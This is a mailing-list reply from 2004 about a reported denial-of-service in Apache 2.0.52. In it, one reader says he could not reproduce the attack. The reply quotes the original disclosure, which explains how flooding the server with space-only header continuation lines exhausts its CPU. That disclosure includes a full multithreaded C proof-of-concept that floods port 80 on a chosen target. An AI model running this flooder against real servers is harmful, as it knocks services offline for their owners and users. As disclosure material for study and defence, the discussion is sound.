Re: DoS in Apache 2.0.52 ?

[Mauro Flores <almauri () cs com uy>]

I made a Linux version of your PoC and attack an Apache 2.0.52 +
Mod_security + Mod_ssl + Mod_proxy and couldn't reproduce the DoS.
50 threads for more than 5 minutes throw Internet (not in the local
network).

Regards, Mauro Flores

On Mon, 2004-11-01 at 06:57, Chintan Trivedi wrote:
> Hi,
>
>       I was doing some testing on Apache webserver ver 2.0.52 (unix) and
> previous versions. Just found that a special type of request consumes
> lot of CPU usage and hangs the webserver. It even hangs other services
> like ssh, ftp ..
>
> For Apache 2.0.52 a request like
> GET / HTTP/1.0\n
> [space] x 8000\n
> [space] x 8000\n
> [space] x 8000\n
> .
> .
> 8000 times
>
> consumes a lot of cpu.
>
> I created 25 threads (connections) and send the above request to one
> webserver. After just 2-3 minutes of flooding, the server wasnt able
> to fulfill any http requests.  Even ssh and such other services well
> also hanged up. The time required for the attack was just maximum 5
> minutes. 
>
> I am not sure whether it is a valid DoS or not. Replacing the <space>
> with any other char will break the connection just after a few
> lines(130 or so) of header. Checking the
> httpd-2.0.52/server/protocol.c file i see the code for the mime
> headers. It checks for the first char of the header. If it is a "space" it
> considers it as an extension to the previous line header.  The problem
> seems to be similar to the advisory published by Guninsky few weeks
> ago -> http://www.guninski.com/httpd1.html thought its a bit
> different.  That fix was for the long request field header when the
> header line is extended in the next line using space.
>
> Well i guess 8K limit for the number of headers filled with spaces is
> quite huge. Its enuf to DoS the server using a few threads.
>
> You can check the attached C file to test it. The file is compiled on
> windows system using VC++ 6.0.
>
> -----------------POC----------------------------
> ///   Apache 2.0.52 and earlier  DoS  
>
> #include "stdafx.h"
> #include "winsock.h"
> #include "string.h"
> #include "stdio.h"
> #include "windows.h"
> #pragma comment(lib,"ws2_32")
>
> DWORD WINAPI attack(LPVOID);
> char target[256];
>
> int main(int argc, char* argv[])
> {
>        int l=0;
>        int j;
>        DWORD dw;
>        HANDLE hd;
>        if(argc<2)
>        {
>                printf("usage: %s target", argv[0]);
>                exit(0);
>        }
>
>        strncpy(target, argv[1], 256);
>        printf("Attaching %s ...\n", target);
>        for(j=0;j<50;j++)
>                hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);
>
>        for(j=0;j<50;j++)
>                WaitForSingleObject(hd, INFINITE);
>
>        printf ("done");
>        return 0;
> }
>
> DWORD WINAPI attack(LPVOID l)
> {
>        int                             s;
>        SOCKADDR_IN             sck;
>        HOSTENT                 *host;
>        char                    buff[256];
>        char                    space[8000];
>        int                             i;
>
>        WSADATA                 wsadata;
>
>        WSAStartup(MAKEWORD(1,1),&wsadata);
>
>        memset(space, ' ', 8000);
>        space[7998]='\n';
>        space[7999]='\0';
>
>        if((host=gethostbyname(target))==NULL)
>        {
>                printf("Host not found");
>                return -1;
>        }
>        sck.sin_family = PF_INET;
>        memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
>        sck.sin_port = htons(80);
>
>        if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
>        {
>                printf("Socket couldn't be initiallized");
>                return -1;
>        }
>        if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
>        {
>                printf("Couldn't connect");
>                return -1;
>        }
>
>        sprintf(buff, "GET / HTTP/1.0\n");
>        //printf("%s",buff);
>        int len=strlen(buff);
>
>        if((send(s,buff,len,0))==-1)
>        {
>                printf ("send error");
>                closesocket(s);
>                return -1;
>        }
>
>        for(i=0;i<9999;i++)
>        {
>
>                if((send(s,space,strlen(space),0))==-1)
>                {
>                        printf("Send Error on header number %d", i);
>                        closesocket(s);
>                        return -1;
>                }
>
>        }
>        closesocket(s);
>        return 0;
> }
> ------------------------------------------------
>
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